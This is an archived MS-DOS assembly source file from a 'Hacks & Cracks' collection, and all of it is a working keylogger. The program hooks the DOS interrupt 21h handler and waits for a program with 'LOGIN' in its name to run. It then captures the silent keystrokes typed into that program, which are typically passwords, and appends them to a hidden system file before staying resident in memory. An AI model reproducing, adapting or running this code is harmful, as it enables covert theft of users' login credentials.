home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / getit.zip / GETIT.ASM next >
Assembly Source File  |  1989-02-15  |  3KB  |  207 lines

  1. cseg   segment
  2.        assume cs:cseg,ds:cseg
  3.        org 100h
  4.        public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
  5.        public cntr,lits,begin
  6. .RADIX 16
  7. start:
  8.        push cs
  9.        push cs
  10.        push cs
  11.        pop ds
  12.        pop es
  13.        mov ax,0fffeh
  14.        CLI
  15.        pop ss
  16.        mov sp,ax
  17.        STI
  18.        jmp begin
  19. oi21   dd ?
  20. ac     dw 0
  21. ob     dw 80h dup (?)
  22. buff2    db 80h dup (?)
  23. fn    db 'c:\testing',0FF,'.tmp',0
  24. search1 db 'LOGIN'
  25. foundf db 0
  26. fh     dw 0
  27. flag   db 0
  28. cntr   dw 0
  29.  
  30. ni21:
  31.        assume cs:cseg,ds:nothing,es:nothing
  32.     
  33.     cmp ax,4b00h
  34.     je exec
  35.     cmp foundf,0ffh
  36.     jne nc
  37.        cmp ah,8
  38.        je  oc
  39.        cmp ah,7
  40.        je  oc
  41.  
  42.  
  43. nc:    
  44.        push ax
  45.        mov al,cs:flag
  46.        not al
  47.        cmp al,0
  48.        jne jtov
  49.        mov ax,cntr
  50.        inc ax
  51.        mov cntr,ax
  52.        cmp ax,31h
  53.        jb  jtov
  54.        xor ax,ax
  55.        mov cntr,ax
  56.        mov flag,al
  57.        pop ax
  58.        pushf
  59.        call dword ptr [oi21]
  60.        push ds
  61.        push cs
  62.        pop ds
  63.        push ax
  64.        push bx
  65.        push cx
  66.        push dx
  67.        jmp short wpwtf
  68. jtov:
  69.        pop ax
  70.        jmp dword ptr cs:[oi21]
  71. exec:    call scanfor
  72.     jmp nc
  73. oc:
  74.  
  75.        pushf
  76.        call dword ptr cs:[oi21]
  77.        assume ds:cseg
  78.        push ds
  79.        push cs
  80.        pop  ds
  81.        push ax
  82.        push bx
  83.        push cx
  84.        push dx
  85.        mov bx,ac
  86.        mov [bx],al
  87.        inc bx
  88.        mov [ac],bx
  89.        cmp al,0dh
  90.        jne lethro
  91.        mov byte ptr [bx],0ah
  92.        not cs:[flag]
  93. lethro:
  94.        pop dx
  95.        pop cx
  96.        pop bx
  97.        pop ax
  98.        pop ds
  99.        iret
  100.  
  101. scanfor:
  102.     push ax
  103.     push di
  104.     push si
  105.     push es
  106.     push ds
  107.     push cs
  108.     push cs
  109.     pop es
  110.     mov si,dx
  111.     mov di,offset buff2
  112. moveit:
  113.     lodsb
  114.     and al,0dfh
  115.     stosb
  116.     or al,al
  117.     jnz moveit
  118.     pop ds
  119.     mov di,offset buff2
  120. look:
  121.     push di
  122.     mov si,offset search1
  123.     mov cx,5
  124.     repe cmpsb
  125.     pop di
  126.     or cx,cx
  127.     jz foundit
  128.     inc di
  129.     cmp byte ptr [di+5],0
  130.     je not_found
  131.     jmp look
  132. not_found:
  133.     xor ax,ax
  134.     mov foundf,al
  135.     jmp short endofsearch
  136. foundit:
  137.     mov ax,0ffh
  138.     mov foundf,al
  139. endofsearch:
  140.     pop ds
  141.     pop es
  142.     pop si
  143.     pop di
  144.     pop ax
  145.     ret
  146.  
  147.  
  148. wpwtf:
  149.        mov ax,3d02h
  150.        mov dx,offset fn
  151.        pushf
  152.        call dword ptr [oi21]
  153.        jnc exist
  154.        cmp al,2
  155.        je create
  156.        jmp lethro
  157. create:
  158.        mov ah,3ch
  159.        mov dx,offset fn
  160.        mov cx,02h+04h
  161.        pushf
  162.        call dword ptr [oi21]
  163.        jnc exist
  164.        jmp lethro
  165. exist:
  166.        mov fh,ax
  167.        mov bx,ax
  168.        mov ax,4202h
  169.        xor cx,cx
  170.     xor dx,dx
  171.        pushf
  172.        call dword ptr[oi21]
  173.        mov cx,[ac]
  174.        mov dx,offset ob
  175.        sub cx,dx
  176.        mov [ac],dx
  177.        inc cx
  178.        mov bx,fh
  179.        mov ah,40h
  180.        pushf
  181.        call dword ptr [oi21]
  182.        mov ah,3eh
  183.        mov bx,fh
  184.        pushf
  185.        call dword ptr [oi21]
  186.        jmp lethro
  187.  
  188.  
  189. lits   db 90h
  190. begin:
  191.        mov ax,offset ob
  192.        mov [ac],ax
  193.        mov ax,3521h
  194.        int 21h
  195.        mov di,offset oi21
  196.        mov [di],bx
  197.        mov [di+2],es
  198.        mov dx,offset ni21
  199.        push cs
  200.        pop ds
  201.        mov ax,2521h
  202.        int 21h
  203.        mov dx,offset lits
  204.        int 27h
  205. cseg   ends
  206.        end start
  207.